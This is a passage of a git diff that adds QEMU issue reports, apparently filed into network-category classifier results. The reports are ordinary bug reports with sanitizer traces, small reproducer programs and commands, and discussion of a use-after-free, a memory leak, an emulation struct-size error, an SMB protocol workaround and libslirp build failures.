0x5577bb14c364 in qdev_device_add /home/XXX/qemu/build/../system/qdev-monitor.c:738:11 + #3 0x5577bb14d6eb in qmp_device_add /home/XXX/qemu/build/../system/qdev-monitor.c:860:11 + #4 0x5577bb14e11d in hmp_device_add /home/XXX/qemu/build/../system/qdev-monitor.c:968:5 + #5 0x5577bb29aef4 in handle_hmp_command_exec /home/XXX/qemu/build/../monitor/hmp.c:1106:9 + #6 0x5577bb298fa3 in handle_hmp_command /home/XXX/qemu/build/../monitor/hmp.c:1158:9 + #7 0x5577bb2949ee in monitor_command_cb /home/XXX/qemu/build/../monitor/hmp.c:47:5 + #8 0x5577bc2b0c3a in readline_handle_byte /home/XXX/qemu/build/../util/readline.c:419:13 + #9 0x5577bb29d261 in monitor_read /home/XXX/qemu/build/../monitor/hmp.c:1390:13 + #10 0x5577bbfda644 in fd_chr_read /home/XXX/qemu/build/../chardev/char-fd.c:72:9 + #11 0x7f53d36e5c43 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55c43) (BuildId: 224ac2a88b72bc8e2fe8566ee28fae789fc69241) + #12 0x5577bc2536db in glib_pollfds_poll /home/XXX/qemu/build/../util/main-loop.c:290:9 + #13 0x5577bc2536db in os_host_main_loop_wait /home/XXX/qemu/build/../util/main-loop.c:313:5 + #14 0x5577bc2536db in main_loop_wait /home/XXX/qemu/build/../util/main-loop.c:592:11 + #15 0x5577bb15dd06 in qemu_main_loop /home/XXX/qemu/build/../system/runstate.c:782:9 + #16 0x5577bbb81115 in qemu_default_main /home/XXX/qemu/build/../system/main.c:37:14 + #17 0x7f53d2c3fd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 + #18 0x7f53d2c3fe3f in __libc_start_main csu/../csu/libc-start.c:392:3 + #19 0x5577ba4c3584 in _start (/usr/local/bin/qemu-system-i386+0x1ada584) (BuildId: c7ca543ea41d3478bc13cdf604d47805b990620e) + +0x62e00000ab58 is located 42840 bytes inside of 43008-byte region [0x62e000000400,0x62e00000ac00) +freed by thread T1 here: + #0 0x5577ba546122 in __interceptor_free (/usr/local/bin/qemu-system-i386+0x1b5d122) (BuildId: c7ca543ea41d3478bc13cdf604d47805b990620e) + #1 0x5577bbba5135 in object_finalize /home/XXX/qemu/build/../qom/object.c:714:9 + #2 0x5577bbba5135 in object_unref /home/XXX/qemu/build/../qom/object.c:1217:9 + #3 0x5577bbb91ac3 in bus_free_bus_child /home/XXX/qemu/build/../hw/core/qdev.c:55:5 + +previously allocated by thread T0 here: + #0 0x5577ba5463ce in malloc (/usr/local/bin/qemu-system-i386+0x1b5d3ce) (BuildId: c7ca543ea41d3478bc13cdf604d47805b990620e) + #1 0x7f53d36ee738 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5e738) (BuildId: 224ac2a88b72bc8e2fe8566ee28fae789fc69241) + #2 0x5577bb14c364 in qdev_device_add /home/XXX/qemu/build/../system/qdev-monitor.c:738:11 + #3 0x5577bb29aef4 in handle_hmp_command_exec /home/XXX/qemu/build/../monitor/hmp.c:1106:9 + #4 0x5577bb298fa3 in handle_hmp_command /home/XXX/qemu/build/../monitor/hmp.c:1158:9 + #5 0x5577bb2949ee in monitor_command_cb /home/XXX/qemu/build/../monitor/hmp.c:47:5 + +Thread T1 created by T0 here: + #0 0x5577ba52f84c in pthread_create (/usr/local/bin/qemu-system-i386+0x1b4684c) (BuildId: c7ca543ea41d3478bc13cdf604d47805b990620e) + #1 0x5577bc1fcc24 in qemu_thread_create /home/XXX/qemu/build/../util/qemu-thread-posix.c:581:11 + #2 0x5577bc229970 in rcu_init_complete /home/XXX/qemu/build/../util/rcu.c:415:5 + #3 0x5577bc229970 in rcu_init /home/XXX/qemu/build/../util/rcu.c:471:5 + #4 0x7f53d2c3feba in call_init csu/../csu/libc-start.c:145:3 + #5 0x7f53d2c3feba in __libc_start_main csu/../csu/libc-start.c:379:5 + +SUMMARY: AddressSanitizer: heap-use-after-free /home/XXX/qemu/build/../hw/core/qdev.c:233:23 in qdev_should_hide_device +Shadow bytes around the buggy address: + 0x0c5c7fff9510: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c5c7fff9520: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c5c7fff9530: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c5c7fff9540: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c5c7fff9550: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd +=>0x0c5c7fff9560: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd + 0x0c5c7fff9570: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c5c7fff9580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c5c7fff9590: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c5c7fff95a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c5c7fff95b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +Shadow byte legend (one shadow byte represents 8 application bytes): + Addressable: 00 + Partially addressable: 01 02 03 04 05 06 07 + Heap left redzone: fa + Freed heap region: fd + Stack left redzone: f1 + Stack mid redzone: f2 + Stack right redzone: f3 + Stack after return: f5 + Stack use after scope: f8 + Global redzone: f9 + Global init order: f6 + Poisoned by user: f7 + Container overflow: fc + Array cookie: ac + Intra object redzone: bb + ASan internal: fe + Left alloca redzone: ca + Right alloca redzone: cb +==836681==ABORTING +``` + +# diff --git a/results/classifier/gemma3:12b/network/2441 b/results/classifier/gemma3:12b/network/2441 new file mode 100644 index 000000000..4e46594af --- /dev/null +++ b/results/classifier/gemma3:12b/network/2441 @@ -0,0 +1,101 @@ + +virtio-net: memory leak when hotplugging virtio-net +Description of problem: +When invalid option for virtio-net device is provided during hotplug, allocated string is not freed, leading to memory leak. +Steps to reproduce: +```sh +cat <<EOF | qemu-system-i386 -M q35 -nodefaults \ +-chardev stdio,id=char0 -mon char0 -device pcie-pci-bridge,id=br1,bus=pcie.0 +device_add virtio-net,rx_queue_size=0,bus=br1,id=dev0 +quit +EOF +``` + +If above command is not working, let me know so that I provide more information. +Additional information: +There is LeakSanitizer log: + +```sh +$ cat <<EOF | LSAN_OPTIONS=fast_unwind_on_malloc=0 qemu-system-i386 -M q35 -nodefaults \ +-chardev stdio,id=char0 -mon char0 -device pcie-pci-bridge,id=br1,bus=pcie.0 +device_add virtio-net,rx_queue_size=0,bus=br1,id=dev0 +quit +EOF +==831633==WARNING: ASan doesn't fully support makecontext/swapcontext functions and may produce false positives in some cases! +QEMU 8.1.93 monitor - type 'help' for more information +VNC server running on 127.0.0.1:5900 +(qemu) device_add virtio-net,rx_queue_size=0,bus=br1,id=dev0 +Error: Invalid rx_queue_size (= 0), must be a power of 2 between 256 and 1024. +(qemu) quit + +================================================================= +==831633==ERROR: LeakSanitizer: detected memory leaks + +Direct leak of 15 byte(s) in 1 object(s) allocated from: + #0 0x55c1ac66b3ce in malloc (/usr/local/bin/qemu-system-i386+0x1b5d3ce) (BuildId: c7ca543ea41d3478bc13cdf604d47805b990620e) + #1 0x7f45c1695738 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5e738) (BuildId: 224ac2a88b72bc8e2fe8566ee28fae789fc69241) + #2 0x7f45c16aa583 in g_strdup (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x73583) (BuildId: 224ac2a88b72bc8e2fe8566ee28fae789fc69241) + #3 0x55c1ad943dd4 in virtio_net_set_netclient_name /home/XXX/qemu/build/../hw/net/virtio-net.c:3445:25 + #4 0x55c1adace541 in virtio_net_pci_realize /home/XXX/qemu/build/../hw/virtio/virtio-net-pci.c:62:5 + #5 0x55c1ad13ec00 in virtio_pci_realize /home/XXX/qemu/build/../hw/virtio/virtio-pci.c:2228:9 + #6 0x55c1acdec557 in pci_qdev_realize /home/XXX/qemu/build/../hw/pci/pci.c:2117:9 + #7 0x55c1adcb9484 in device_set_realized /home/XXX/qemu/build/../hw/core/qdev.c:510:13 + #8 0x55c1adcd6278 in property_set_bool /home/XXX/qemu/build/../qom/object.c:2305:5 + #9 0x55c1adcd1443 in object_property_set /home/XXX/qemu/build/../qom/object.c:1435:5 + #10 0x55c1adcdd15c in object_property_set_qobject /home/XXX/qemu/build/../qom/qom-qobject.c:28:10 + #11 0x55c1adcd1d11 in object_property_set_bool /home/XXX/qemu/build/../qom/object.c:1504:15 + #12 0x55c1ad27021a in qdev_device_add_from_qdict /home/XXX/qemu/build/../system/qdev-monitor.c:719:10 + #13 0x55c1ad271364 in qdev_device_add /home/XXX/qemu/build/../system/qdev-monitor.c:738:11 + #14 0x55c1ad2726eb in qmp_device_add /home/XXX/qemu/build/../system/qdev-monitor.c:860:11 + #15 0x55c1ad27311d in hmp_device_add /home/XXX/qemu/build/../system/qdev-monitor.c:968:5 + #16 0x55c1ad3bfef4 in handle_hmp_command_exec /home/XXX/qemu/build/../monitor/hmp.c:1106:9 + #17 0x55c1ad3bdfa3 in handle_hmp_command /home/XXX/qemu/build/../monitor/hmp.c:1158:9 + #18 0x55c1ad3b99ee in monitor_command_cb /home/XXX/qemu/build/../monitor/hmp.c:47:5 + #19 0x55c1ae3d5c3a in readline_handle_byte /home/XXX/qemu/build/../util/readline.c:419:13 + #20 0x55c1ad3c2261 in monitor_read /home/XXX/qemu/build/../monitor/hmp.c:1390:13 + #21 0x55c1ae0ff644 in fd_chr_read /home/XXX/qemu/build/../chardev/char-fd.c:72:9 + #22 0x7f45c168cc43 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55c43) (BuildId: 224ac2a88b72bc8e2fe8566ee28fae789fc69241) + #23 0x55c1ae3786db in glib_pollfds_poll /home/XXX/qemu/build/../util/main-loop.c:290:9 + #24 0x55c1ae3786db in os_host_main_loop_wait /home/XXX/qemu/build/../util/main-loop.c:313:5 + #25 0x55c1ae3786db in main_loop_wait /home/XXX/qemu/build/../util/main-loop.c:592:11 + #26 0x55c1ad282d06 in qemu_main_loop /home/XXX/qemu/build/../system/runstate.c:782:9 + #27 0x55c1adca6115 in qemu_default_main /home/XXX/qemu/build/../system/main.c:37:14 + #28 0x7f45c0bd0d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 + #29 0x7f45c0bd0e3f in __libc_start_main csu/../csu/libc-start.c:392:3 + +Direct leak of 5 byte(s) in 1 object(s) allocated from: + #0 0x55c1ac66b3ce in malloc (/usr/local/bin/qemu-system-i386+0x1b5d3ce) (BuildId: c7ca543ea41d3478bc13cdf604d47805b990620e) + #1 0x7f45c1695738 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5e738) (BuildId: 224ac2a88b72bc8e2fe8566ee28fae789fc69241) + #2 0x7f45c16aa583 in g_strdup (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x73583) (BuildId: 224ac2a88b72bc8e2fe8566ee28fae789fc69241) + #3 0x55c1ad943da2 in virtio_net_set_netclient_name /home/XXX/qemu/build/../hw/net/virtio-net.c:3444:25 + #4 0x55c1adace541 in virtio_net_pci_realize /home/XXX/qemu/build/../hw/virtio/virtio-net-pci.c:62:5 + #5 0x55c1ad13ec00 in virtio_pci_realize /home/XXX/qemu/build/../hw/virtio/virtio-pci.c:2228:9 + #6 0x55c1acdec557 in pci_qdev_realize /home/XXX/qemu/build/../hw/pci/pci.c:2117:9 + #7 0x55c1adcb9484 in device_set_realized /home/XXX/qemu/build/../hw/core/qdev.c:510:13 + #8 0x55c1adcd6278 in property_set_bool /home/XXX/qemu/build/../qom/object.c:2305:5 + #9 0x55c1adcd1443 in object_property_set /home/XXX/qemu/build/../qom/object.c:1435:5 + #10 0x55c1adcdd15c in object_property_set_qobject /home/XXX/qemu/build/../qom/qom-qobject.c:28:10 + #11 0x55c1adcd1d11 in object_property_set_bool /home/XXX/qemu/build/../qom/object.c:1504:15 + #12 0x55c1ad27021a in qdev_device_add_from_qdict /home/XXX/qemu/build/../system/qdev-monitor.c:719:10 + #13 0x55c1ad271364 in qdev_device_add /home/XXX/qemu/build/../system/qdev-monitor.c:738:11 + #14 0x55c1ad2726eb in qmp_device_add /home/XXX/qemu/build/../system/qdev-monitor.c:860:11 + #15 0x55c1ad27311d in hmp_device_add /home/XXX/qemu/build/../system/qdev-monitor.c:968:5 + #16 0x55c1ad3bfef4 in handle_hmp_command_exec /home/XXX/qemu/build/../monitor/hmp.c:1106:9 + #17 0x55c1ad3bdfa3 in handle_hmp_command /home/XXX/qemu/build/../monitor/hmp.c:1158:9 + #18 0x55c1ad3b99ee in monitor_command_cb /home/XXX/qemu/build/../monitor/hmp.c:47:5 + #19 0x55c1ae3d5c3a in readline_handle_byte /home/XXX/qemu/build/../util/readline.c:419:13 + #20 0x55c1ad3c2261 in monitor_read /home/XXX/qemu/build/../monitor/hmp.c:1390:13 + #21 0x55c1ae0ff644 in fd_chr_read /home/XXX/qemu/build/../chardev/char-fd.c:72:9 + #22 0x7f45c168cc43 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55c43) (BuildId: 224ac2a88b72bc8e2fe8566ee28fae789fc69241) + #23 0x55c1ae3786db in glib_pollfds_poll /home/XXX/qemu/build/../util/main-loop.c:290:9 + #24 0x55c1ae3786db in os_host_main_loop_wait /home/XXX/qemu/build/../util/main-loop.c:313:5 + #25 0x55c1ae3786db in main_loop_wait /home/XXX/qemu/build/../util/main-loop.c:592:11 + #26 0x55c1ad282d06 in qemu_main_loop /home/XXX/qemu/build/../system/runstate.c:782:9 + #27 0x55c1adca6115 in qemu_default_main /home/XXX/qemu/build/../system/main.c:37:14 + #28 0x7f45c0bd0d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 + #29 0x7f45c0bd0e3f in __libc_start_main csu/../csu/libc-start.c:392:3 + +SUMMARY: AddressSanitizer: 20 byte(s) leaked in 2 allocation(s). +``` + +# diff --git a/results/classifier/gemma3:12b/network/2444 b/results/classifier/gemma3:12b/network/2444 new file mode 100644 index 000000000..cea28b129 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2444 @@ -0,0 +1,2 @@ + +Use of vulnerable function 'strcpy' at can_socketcan.c:213. This function is unsafe. diff --git a/results/classifier/gemma3:12b/network/2459 b/results/classifier/gemma3:12b/network/2459 new file mode 100644 index 000000000..b48ddc0c0 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2459 @@ -0,0 +1,2 @@ + +Qemu in termux network bug diff --git a/results/classifier/gemma3:12b/network/2469 b/results/classifier/gemma3:12b/network/2469 new file mode 100644 index 000000000..4d21d429d --- /dev/null +++ b/results/classifier/gemma3:12b/network/2469 @@ -0,0 +1,2 @@ + +/s390x/migration/precopy/tcp/plain/switchover-ack may hang diff --git a/results/classifier/gemma3:12b/network/2471 b/results/classifier/gemma3:12b/network/2471 new file mode 100644 index 000000000..73d44c912 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2471 @@ -0,0 +1,2 @@ + +error handling in of_dpa_cmd_add_acl() diff --git a/results/classifier/gemma3:12b/network/2472 b/results/classifier/gemma3:12b/network/2472 new file mode 100644 index 000000000..a52d2abf9 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2472 @@ -0,0 +1,2 @@ + +optimize nvme_directive_receive() function diff --git a/results/classifier/gemma3:12b/network/248 b/results/classifier/gemma3:12b/network/248 new file mode 100644 index 000000000..b7b4a5e14 --- /dev/null +++ b/results/classifier/gemma3:12b/network/248 @@ -0,0 +1,2 @@ + +Reconnect failed with loopback virtio1.1 server mode test diff --git a/results/classifier/gemma3:12b/network/2485 b/results/classifier/gemma3:12b/network/2485 new file mode 100644 index 000000000..933e47266 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2485 @@ -0,0 +1,48 @@ + +getifaddrs linked with musl libc hangs on big-endian targets +Description of problem: +When the following C program (borrowed from curl's `configure`) is compiled for { m68k, ppc, ppc64, s390x } (possibly others, like or1k and sparc) and linked against musl libc, it hangs inside musl when run. Copying the same binaries to real hardware results in success. + +```c +#include <stdlib.h> +#include <ifaddrs.h> + +int +main (void) +{ + + struct ifaddrs *ifa = 0; + int error; + + error = getifaddrs(&ifa); + if (error || !ifa) + exit(1); + else + exit(0); + + return 0; +} +``` +Steps to reproduce: +1. Compile the above program and link it with musl libc (pre-built toolchains are available [here](https://musl.cc/)) +2. Run the appropriate `qemu-*` (e.g. `qemu-m68k ./test` or `qemu-ppc ./test`) +3. Observe that the process hangs. +Additional information: +This has come up elsewhere: + +* https://bugs.gentoo.org/914256 +* https://www.openwall.com/lists/musl/2018/05/30/4 +* Likely affects or1k but I can't test that at the moment (need to debug an unrelated issue with that toolchain) +* Likely affects sparc but that port/toolchain is also a WIP + +Here are some static sample binaries for the above program: + +* https://temp.zv.io/qemu-bug.tar.xz (no guarantees of continued existence months or years later) + +GitLab labels seem to be missing: + +* ~"kind::Bug" +* ~"linux-user" +* ~"target: ppc" +* ~"target: m68k" +* ~"target: s390x" diff --git a/results/classifier/gemma3:12b/network/2494 b/results/classifier/gemma3:12b/network/2494 new file mode 100644 index 000000000..7ad349525 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2494 @@ -0,0 +1,2 @@ + +Isolated network between VMs not visible to the host diff --git a/results/classifier/gemma3:12b/network/2496 b/results/classifier/gemma3:12b/network/2496 new file mode 100644 index 000000000..8c6307003 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2496 @@ -0,0 +1,34 @@ + +Regression 9.1.0-rc1: Adventcalendar 2016, Day 14 crashes +Description of problem: +Crashes with + ``` + **** PANIC: **** + terminating with uncaught exception of type hw::Device_not_found: Device of type NIC not found at position #0 + ``` +see [acorn.log](/uploads/daa06857763716183cec625ead619387/acorn.log) for details +Steps to reproduce: +1. Download https://www.qemu-advent-calendar.org/2016/download/day14.tar.xz +2. Execute +Additional information: +git bisect determines: + ``` +64f75f57f9d2c8c12ac6d9355fa5d3a2af5879ca is the first bad commit +commit 64f75f57f9d2c8c12ac6d9355fa5d3a2af5879ca +Author: David Woodhouse <dwmw@amazon.co.uk> +Date: Tue Jul 9 13:34:44 2024 +0100 + + net: Reinstate '-net nic, model=help' output as documented in man page + + While refactoring the NIC initialization code, I broke '-net nic,model=help' + which no longer outputs a list of available NIC models. + + Fixes: 2cdeca04adab ("net: report list of available models according to platform") + Cc: qemu-stable@nongnu.org + Signed-off-by: David Woodhouse <dwmw@amazon.co.uk> + Reviewed-by: Michael Tokarev <mjt@tls.msk.ru> + Signed-off-by: Jason Wang <jasowang@redhat.com> + + net/net.c | 25 ++++++++++++++++++++++--- + 1 file changed, 22 insertions(+), 3 deletions(-) + ``` diff --git a/results/classifier/gemma3:12b/network/2514 b/results/classifier/gemma3:12b/network/2514 new file mode 100644 index 000000000..915fc57e7 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2514 @@ -0,0 +1,2 @@ + +network unreachable to esxi 8 guest diff --git a/results/classifier/gemma3:12b/network/2530 b/results/classifier/gemma3:12b/network/2530 new file mode 100644 index 000000000..954cdf0a6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2530 @@ -0,0 +1,18 @@ + +Duplicate ACPI _SUN +Description of problem: +ACPI _SUN is `the slot-unique ID number for a slot`, but qemu uses `PCI_SLOT()` which is definitely not unique +https://gitlab.com/qemu-project/qemu/-/blob/407f9a4b121eb65166375c410e14d7b704bc1106/hw/i386/acpi-build.c#L524 +Steps to reproduce: +1. Create a linux VM with 2 virtio NICs +2. Look at the ACPI _SUN of the virtio-pci devices (firmware_node/sun) + +Both virtio-pci devices have _SUN == 0 +``` +# +Additional information: +In systemd we recently introduced code to use firmware_node/sun information for NIC naming +https://github.com/systemd/systemd/commit/0a4ecc54cb9f2d3418b970c51bfadb69c34ae9eb + +but having duplicate _SUN is of course problematic +https://github.com/systemd/systemd/issues/34082 diff --git a/results/classifier/gemma3:12b/network/2547 b/results/classifier/gemma3:12b/network/2547 new file mode 100644 index 000000000..184e6d487 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2547 @@ -0,0 +1,4 @@ + +Raspberry 4B Ethernet support +Additional information: +There is available WIP patch https://patchew.org/QEMU/20240226000259.2752893-1-sergey.kambalin@auriga.com/ diff --git a/results/classifier/gemma3:12b/network/2553 b/results/classifier/gemma3:12b/network/2553 new file mode 100644 index 000000000..5d0c7c205 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2553 @@ -0,0 +1,83 @@ + +Joining IP multicast fails when emulating 64-bit Linux +Description of problem: +I have some code that joins IP multicast groups and I'd like to use QEMU to test it on big-endian and/or 32-bit platforms. But when I compile it for 64-bit big-endian platforms (e.g. PowerPC64) and run it under QEMU user-mode emulation, the setsockopt(IP_ADD_MEMBERSHIP) call fails with ENODEV. + +This appears to refer to the imr_ifindex ("interface index") field in struct ip_mreqn not being valid, which in turn appears to be because it's not being correctly marshalled from the binary under emulation, to the host's *actual* setsockopt system call. + +I *think* this may be because linux-user/syscall_defs.h (https://github.com/qemu/qemu/blob/master/linux-user/syscall_defs.h) contains the following at line 210: + +``` +struct target_ip_mreqn { + struct target_in_addr imr_multiaddr; + struct target_in_addr imr_address; + abi_long imr_ifindex; +}; +``` + +but the actual Linux ip_mreqn has imr_ifindex as an int (32-bit everywhere) not a long (64-bit on PPC64); the size of this structure is 12 on all Linux platforms. + +I opted to submit an issue instead of just patching it, in case there was some wider context I hadn't seen? +Steps to reproduce: +1. take the following C program (distilled from a larger program): + +``` +#include <sys/types.h> +#include <sys/socket.h> +#include <netinet/in.h> +#include <arpa/inet.h> +#include <stdio.h> +#include <stdlib.h> + +int main(int argc, char *argv[]) +{ + int fd = socket(AF_INET, SOCK_DGRAM, 0); + if (fd < 0) { + perror("socket"); + return 1; + } + + struct ip_mreqn mreq; + mreq.imr_multiaddr.s_addr = inet_addr("239.255.255.250"); + mreq.imr_address.s_addr = htonl(INADDR_ANY); + mreq.imr_ifindex = 1; + int size = sizeof(mreq); + printf("size=%u\n", size); + if (setsockopt(fd, IPPROTO_IP, IP_ADD_MEMBERSHIP, + (char*) &mreq, sizeof(mreq)) < 0) { + perror("setsockopt"); + return 1; + } + printf("OK\n"); + return 0; +} +``` + +2. confirm it works compiled native on amd64/x86_64: + +``` +[peter@amd64 misc]$ gcc mcast.c -o mcast +[peter@amd64 misc]$ ./mcast +size=12 +OK +``` + +3. watch it *not* work emulated: + +``` +[peter@amd64 misc]$ powerpc64-linux-gnu-gcc mcast.c -o mcast.ppc64 +[peter@amd64 misc]$ QEMU_LD_PREFIX=/usr/powerpc64-linux-gnu qemu-ppc64 ./mcast.ppc64 +size=12 +setsockopt: No such device +``` +Additional information: +If the target_ip_mreqn issue is real, the following code in syscall.c helped conceal it: + + if (optlen < sizeof (struct target_ip_mreq) || + optlen > sizeof (struct target_ip_mreqn)) { + return -TARGET_EINVAL; + } + +Should this instead be testing for size equal to target_ip_mreq or equal to target_ip_mreqn, not anywhere in between? in this case target_ip_mreq is 8 bytes, target_ip_mreqn is 16 bytes, but optlen is 12. The end result is that QEMU passes 4 bytes of uninitialised stack memory as imr_ifindex! + +The actual kernel behaviour appears to be: smaller than ip_mreq, EINVAL; between ip_mreq and ip_mreqn, silently treat as ip_mreq; larger or equal to ip_mreqn, silently treat as ip_mreqn. see https://github.com/torvalds/linux/blob/b31c4492884252a8360f312a0ac2049349ddf603/net/ipv4/ip_sockglue.c#L1234 diff --git a/results/classifier/gemma3:12b/network/2593 b/results/classifier/gemma3:12b/network/2593 new file mode 100644 index 000000000..8f78c65ec --- /dev/null +++ b/results/classifier/gemma3:12b/network/2593 @@ -0,0 +1,58 @@ + +-netdev user,smb=/path doesn't work with old Windows versions anymore +Description of problem: +I'm running Windows 98 in qemu and wasn't able to access the share. After finding `/tmp/qemu-smb.*/` and increasing the log level (setting `log level = 10` in the temporary smb.conf) it became clear, that the smbd server didn't support any of the protocols offered by Win98: + +<details> + +``` +[2024/09/25 23:04:25.871072, 10, pid=40892, effective(1000, 1000), real(1000, 1000)] ../../lib/util/util.c:580(dump_data) + [0000] 02 50 43 20 4E 45 54 57 4F 52 4B 20 50 52 4F 47 .PC NETW ORK PROG + [0010] 52 41 4D 20 31 2E 30 00 02 4D 49 43 52 4F 53 4F RAM 1.0. .MICROSO + [0020] 46 54 20 4E 45 54 57 4F 52 4B 53 20 33 2E 30 00 FT NETWO RKS 3.0. + [0030] 02 44 4F 53 20 4C 4D 31 2E 32 58 30 30 32 00 02 .DOS LM1 .2X002.. + [0040] 44 4F 53 20 4C 41 4E 4D 41 4E 32 2E 31 00 02 57 DOS LANM AN2.1..W + [0050] 69 6E 64 6F 77 73 20 66 6F 72 20 57 6F 72 6B 67 indows f or Workg + [0060] 72 6F 75 70 73 20 33 2E 31 61 00 02 4E 54 20 4C roups 3. 1a..NT L + [0070] 4D 20 30 2E 31 32 00 M 0.12. +[2024/09/25 23:04:25.871241, 3, pid=40892, effective(1000, 1000), real(1000, 1000), class=smb2] ../../source3/smbd/smb2_negprot.c:1154(smb2_multi_protocol_reply_negprot) + Requested protocol [PC NETWORK PROGRAM 1.0] +[2024/09/25 23:04:25.871247, 3, pid=40892, effective(1000, 1000), real(1000, 1000), class=smb2] ../../source3/smbd/smb2_negprot.c:1154(smb2_multi_protocol_reply_negprot) + Requested protocol [MICROSOFT NETWORKS 3.0] +[2024/09/25 23:04:25.871252, 3, pid=40892, effective(1000, 1000), real(1000, 1000), class=smb2] ../../source3/smbd/smb2_negprot.c:1154(smb2_multi_protocol_reply_negprot) + Requested protocol [DOS LM1.2X002] +[2024/09/25 23:04:25.871256, 3, pid=40892, effective(1000, 1000), real(1000, 1000), class=smb2] ../../source3/smbd/smb2_negprot.c:1154(smb2_multi_protocol_reply_negprot) + Requested protocol [DOS LANMAN2.1] +[2024/09/25 23:04:25.871260, 3, pid=40892, effective(1000, 1000), real(1000, 1000), class=smb2] ../../source3/smbd/smb2_negprot.c:1154(smb2_multi_protocol_reply_negprot) + Requested protocol [Windows for Workgroups 3.1a] +[2024/09/25 23:04:25.871264, 3, pid=40892, effective(1000, 1000), real(1000, 1000), class=smb2] ../../source3/smbd/smb2_negprot.c:1154(smb2_multi_protocol_reply_negprot) + Requested protocol [NT LM 0.12] +... +[2024/09/25 23:04:25.871315, 6, pid=40892, effective(1000, 1000), real(1000, 1000)] ../../source3/param/loadparm.c:2442(lp_file_list_changed) + lp_file_list_changed() + file /tmp/qemu-smb.TU2YU2/smb.conf -> /tmp/qemu-smb.TU2YU2/smb.conf last mod_time: 2024-09-25 23:04:20.374500597 +[2024/09/25 23:04:25.871325, 3, pid=40892, effective(1000, 1000), real(1000, 1000), class=smb2] ../../source3/smbd/smb2_negprot.c:1201(smb2_multi_protocol_reply_negprot) + smb2_multi_protocol_reply_negprot: No protocol supported ! + +``` + +</details> + +(`smb2_multi_protocol_reply_negprot: No protocol supported !`). + +Manually adding the line `server min protocol = LANMAN1` under `[global]` in the temporary `smb.conf` fixed the issue. +I think qemu should add that line by default. + +The behavior was the same with smbd 4.15.13-Ubuntu from Ubuntu 22.04 and 4.21.0 from current Arch Linux. +Steps to reproduce: +1. Set up qemu VM with Win98 (or presumably any Windows version up to XP) + * at least on my machine I had to use `tcg`, with `kvm` Win98 is very unstable on Ryzen CPUs + * I roughly followed this tutorial: https://computernewb.com/wiki/QEMU/Guests/Windows_98 incl. using that Windows 98 QuickInstall ISO and the softgpu driver + * enable user-mode networking with smb share (`-netdev user,id=lan,smb=/path/to/share -device pcnet,netdev=lan`) +2. Edit `C:\Windows\LMHOSTS` as described in the qemu documentation (add line `10.0.2.4 smbserver`) +3. Probably reboot the Windows VM + * Actually, rebooting Win98 doesn't work for me, it then hangs while booting. Shutting down and starting the VM again works though. +4. Open the Windows Explorer and enter `\\smbserver` in the address bar - it will fail with some unhelpful error. +5. Edit `/tmp/qemu-smb.*/smb.conf` and add the line `server min protocol = LANMAN1` under `[global]` + - `server min protocol = NT1` also works for Win98, but with `LANMAN1` even older operating systems like Win3.11 should also work +6. Retry step 4 - it should work now. diff --git a/results/classifier/gemma3:12b/network/2603 b/results/classifier/gemma3:12b/network/2603 new file mode 100644 index 000000000..87ffc1cb2 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2603 @@ -0,0 +1,103 @@ + +Recent libslirp commit broke Qemu network stack: qemu and libslirp teams should settle on SOCKET handler type +Description of problem: +https://gitlab.freedesktop.org/slirp/libslirp/-/commit/72f85005a2307fd0961543e3cea861ad7a4d201e introduced regression causing QEMU compilation for Windows to error out due to missing 64-bit SOCKET handler pointer type. + +``` +x86_64-w64-mingw32-gcc -m64 ... -MD -MQ libcommon.a.p/net_slirp.c.obj -MF libcommon.a.p/net_slirp.c.obj.d -o libcommon.a.p/net_slirp.c.obj -c ../net/slirp.c +../net/slirp.c:289:25: error: initialization of 'void (*)(slirp_os_socket, void *)' {aka 'void (*)(long long unsigned int, void *)'} from incompatible pointer type 'void (*)(int, void *)' [-Wincompatible-pointer-types] + 289 | .register_poll_fd = net_slirp_register_poll_fd, + | ^~~~~~~~~~~~~~~~~~~~~~~~~~ +../net/slirp.c:289:25: note: (near initialization for 'slirp_cb.register_poll_fd') +../net/slirp.c:290:27: error: initialization of 'void (*)(slirp_os_socket, void *)' {aka 'void (*)(long long unsigned int, void *)'} from incompatible pointer type 'void (*)(int, void *)' [-Wincompatible-pointer-types] + 290 | .unregister_poll_fd = net_slirp_unregister_poll_fd, + | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~ +../net/slirp.c:290:27: note: (near initialization for 'slirp_cb.unregister_poll_fd') +../net/slirp.c: In function 